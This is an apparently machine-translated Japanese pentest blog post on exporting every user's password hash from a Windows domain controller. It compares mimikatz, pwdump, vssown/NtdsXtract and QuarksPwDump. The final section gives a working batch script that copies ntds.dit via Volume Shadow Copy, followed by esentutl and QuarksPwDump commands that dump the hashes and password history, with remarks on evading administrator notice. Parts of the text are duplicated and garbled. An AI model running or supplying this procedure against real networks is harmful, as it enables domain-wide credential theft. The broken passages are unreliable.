現在のドメイン内のすべてのユーザhashのテクノロジー整理をエクスポート
現在のドメイン内のすべてのユーザhashのテクノロジー整理をエクスポート
三好学生
· 2015/07/03 15:06
0 x 00ターゲット:
現在のドメイン内のすべてのユーザーのhashをエクスポート
0 x 01試験環境:
0 x 02試験方法:
(1)mimikatz:
(2)pwdump:
(3)vssown.vbs + libesedb + NtdsXtract
Tips:libesedb+NtdsXtract環境構築のヒント:
(4)ntdsutil.exe + QuarksPwDump.exe
0 x 03実際のテスト: gethashes.exe:ソースコードがなく、 を無視 mimikatz:すべてのユーザーhashをキャプチャできず、ネイティブ管理者パスワードも をエクスポートできません. pwdump:キャプチャ数が 未満 vssown.vbs+libesedb+NtdsXtract:成功、3日かかる+ ntdsutil.exe+QuarksPwDump.exe:ntdsutil.exeエラー、失敗 0 x 04分析:
5つの方法で唯一成功したのは
他の方法で望ましい点:
では、
0 x 05改善点:
(1)
Tips:
0 x 06最終シナリオ:
(1)ShadowCopyのコマンドライン版を使用して、batを作成してntds.ditを現在のディレクトリにコピーする
参照リンク:http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
(2)QuarksPwDumpを使用して直接情報を読み取り、結果をファイルに書き出し、先に実行する
コピーしたデータベースの修復
読み込みとエクスポート.
注意:ntds.ditとlog.txtは、実際に使用する場合に絶対パスを追加する必要があります.
Tips:
0 x 07ノット:
ShadowCopy+QuarksPwDump:
三好学生
· 2015/07/03 15:06
0 x 00ターゲット:
現在のドメイン内のすべてのユーザーのhashをエクスポート
0 x 01試験環境:
:server2008 r2
: *
: net use , 3389
0 x 02試験方法:
(1)mimikatz:
hash : hash,
:
(2)pwdump:
hash :
:
(3)vssown.vbs + libesedb + NtdsXtract
hash :
:
:
, :
Record ID
User name
User principal name
SAM Account name
SAM Account type
GUID
SID
When created
When changed
Account expires
Password last set
Last logon
Last logon timestamp
Bad password time
Logon count
Bad password count
User Account Control
Ancestors
Password hashes
Password history
Supplemental credentials
Member of
:
vssown.vbs
vssown.vbs
,
libesedb + NtdsXtract , , ,
vssown.vbs ntds.dit QuarksPwDump.exe
Tips:libesedb+NtdsXtract環境構築のヒント:
(download libesedb)
https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz
tar zxvf libesedb-experimental-20150409.tar.gz
cd libesedb-20150409
./configure
make
cd esedbtools/
./esedbexport
(copy ntds.dit to ~/libesedb-20150409/esedbtools)
./esedbexport ./ntds.dit
(wait...)
mv ntds.dit.export/ ../../
(download ntdsxtract)
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(move SYSTEM to '/root/SYSTEM')
(get passwordhashes )
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'
(4)ntdsutil.exe + QuarksPwDump.exe
hash :
:QuarksPwDump.exe
:
QuarksPwDump.exe windows , hash
:
ntdsutil.exe ntdsutil.exe ,QuarksPwDump.exe server2003 shell
0 x 03実際のテスト:
5つの方法で唯一成功したのは
vssown.vbs + libesedb + NtdsXtract
ですが、時間がかかりすぎて操作が面倒で、ダウンロードデータベースが露出しやすく、vssown.vbs
バックアップの情報が管理者に発見されやすいです.他の方法で望ましい点:
vssown.vbs
データベースをコピーする方法は巧みであるが、いくつかの不足があり、ドメイン制御のatコマンドに合わせて実行するのは面倒である.QuarksPwDump.exeはwindowsの下で直接使用することができて、データベースの読み取りの待機を免れて、しかもQuarksPwDump
はソースコードを得ることができて、実際の使用に協力して修正することができます.では、
QuarksPwDump.exe
を使用してドメイン制御でntds.dit
を直接読み取るのが望ましいのではないでしょうか.0 x 05改善点:
(1)
vssown.vbs
の複製方法を分析し、より良い解決方法を見つけ、ShadowCopy
を用いてntds.dit
の複製を実現する(2)QuarksPwDump
の改造を実現し、コマンドライン下の自動読み取りと導出情報を実現するTips:
ShadowCopy , (`Volume Shadow Copy`) , ,
, ,`ShadowCopy` 。
0 x 06最終シナリオ:
(1)ShadowCopyのコマンドライン版を使用して、batを作成してntds.ditを現在のディレクトリにコピーする
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows
tds
tds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
参照リンク:http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
(2)QuarksPwDumpを使用して直接情報を読み取り、結果をファイルに書き出し、先に実行する
esentutl /p /o ntds.dit
コピーしたデータベースの修復
QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt
読み込みとエクスポート.
注意:ntds.ditとlog.txtは、実際に使用する場合に絶対パスを追加する必要があります.
Tips:
QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
,vs2010
https://github.com/quarkslab/quarkspwdump
0 x 07ノット:
ShadowCopy+QuarksPwDump:
hash :
:
:
bat ,
ntds.dit,